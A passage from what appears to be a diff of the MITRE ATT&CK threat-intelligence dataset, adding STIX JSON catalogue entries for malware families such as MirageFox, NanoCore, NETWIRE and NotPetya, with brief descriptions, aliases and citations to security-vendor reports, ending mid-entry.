[ + "MiniDuke" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "created": "2017-05-31T21:32:36.919Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0051" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "MirageFox", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MirageFox" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0280", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0280" + }, + { + "description": "(Citation: APT15 Intezer June 2018)", + "source_name": "MirageFox" + }, + { + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "source_name": "APT15 Intezer June 2018", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ] + }, + { + "name": "Mis-Type", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) is a backdoor hybrid that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) in 2012. (Citation: Cylance Dust Storm)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mis-Type" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "created": "2017-05-31T21:32:55.565Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0084", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0084" + }, + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ] + }, + { + "name": "Misdat", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2010 to 2011. (Citation: Cylance Dust Storm)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Misdat" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "created": "2017-05-31T21:32:55.126Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0083", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0083" + }, + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ] + }, + { + "name": "Mivast", + "description": "[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mivast" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "created": "2017-05-31T21:32:54.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0080", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0080" + }, + { + "description": "(Citation: Symantec Black Vine) (Citation: Symantec Backdoor.Mivast)", + "source_name": "Mivast" + }, + { + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "source_name": "Symantec Black Vine", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + }, + { + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ] + }, + { + "name": "MobileOrder", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", + "id": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MobileOrder" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:53.681Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0079" + }, + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ] + }, + { + "name": "MoonWind", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "MoonWind" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "created": "2017-05-31T21:33:27.016Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0149", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0149" + }, + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ] + }, + { + "name": "More_eggs", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", + "id": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "external_references": [ + { + "external_id": "S0284", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0284" + }, + { + "description": "(Citation: Talos Cobalt Group July 2018)", + "source_name": "More_eggs" + }, + { + "description": "(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019)", + "source_name": "Terra Loader" + }, + { + "description": "(Citation: Security Intelligence More Eggs Aug 2019)", + "source_name": "SpicyOmelette" + }, + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + }, + { + "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", + "source_name": "Visa FIN6 Feb 2019", + "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "malware", + "x_mitre_aliases": [ + "More_eggs", + "Terra Loader", + "SpicyOmelette" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Drew Church, Splunk" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-10-15T18:54:44.884Z", + "labels": [ + "malware" + ] + }, + { + "name": "Mosquito", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mosquito" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0256", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0256" + }, + { + "description": "(Citation: ESET Turla Mosquito Jan 2018)", + "source_name": "Mosquito" + }, + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ] + }, + { + "name": "NDiskMonitor", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NDiskMonitor" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0272", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0272" + }, + { + "description": "(Citation: TrendMicro Patchwork Dec 2017)", + "source_name": "NDiskMonitor" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "name": "NETEAGLE", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as \u201cScout\u201d and \u201cNorton.\u201d (Citation: FireEye APT30)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NETEAGLE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "created": "2017-05-31T21:32:27.787Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0034" + }, + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + "name": "NETWIRE", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NETWIRE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0198", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0198" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017) (Citation: McAfee Netwire Mar 2015)", + "source_name": "NETWIRE" + }, + { + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Sept 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + }, + { + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Webinar Sept 2017", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ] + }, + { + "name": "NOKKI", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NOKKI" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "created": "2019-01-30T19:50:45.307Z", + "modified": "2019-01-31T00:38:08.331Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0353", + "url": "https://attack.mitre.org/software/S0353" + }, + { + "description": "(Citation: Unit 42 NOKKI Sept 2018)", + "source_name": "NOKKI" + }, + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ] + }, + { + "name": "Naid", + "description": "[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Naid" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0205", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0205" + }, + { + "description": "(Citation: Symantec Naid June 2012)", + "source_name": "Naid" + }, + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ] + }, + { + "name": "NanHaiShu", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NanHaiShu" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0228", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0228" + }, + { + "description": "(Citation: Proofpoint Leviathan Oct 2017)", + "source_name": "NanHaiShu" + }, + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ] + }, + { + "name": "NanoCore", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)", + "id": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "NanoCore" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T20:05:35.952Z", + "modified": "2019-04-17T20:47:23.692Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0336", + "url": "https://attack.mitre.org/software/S0336" + }, + { + "description": "(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)", + "source_name": "NanoCore" + }, + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.", + "source_name": "Cofense NanoCore Mar 2018", + "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + }, + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ] + }, + { + "name": "NavRAT", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NavRAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0247", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0247" + }, + { + "description": "(Citation: Talos NavRAT May 2018)", + "source_name": "NavRAT" + }, + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ] + }, + { + "name": "Nerex", + "description": "[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Nerex" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0210", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0210" + }, + { + "description": "(Citation: Symantec Nerex May 2012)", + "source_name": "Nerex" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "source_name": "Symantec Nerex May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ] + }, + { + "name": "Net Crawler", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). (Citation: Cylance Cleaver)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Net Crawler", + "NetC" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "created": "2017-05-31T21:32:38.851Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0056" + }, + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ] + }, + { + "name": "NetTraveler", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NetTraveler" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "created": "2017-05-31T21:32:25.361Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0033", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0033" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.", + "source_name": "Kaspersky NetTraveler", + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + } + ] + }, + { + "name": "Nidiran", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Nidiran", + "Backdoor.Nidiran" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "created": "2017-05-31T21:33:09.842Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0118", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0118" + }, + { + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "source_name": "Symantec Suckfly March 2016", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ] + }, + { + "name": "NotPetya", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though 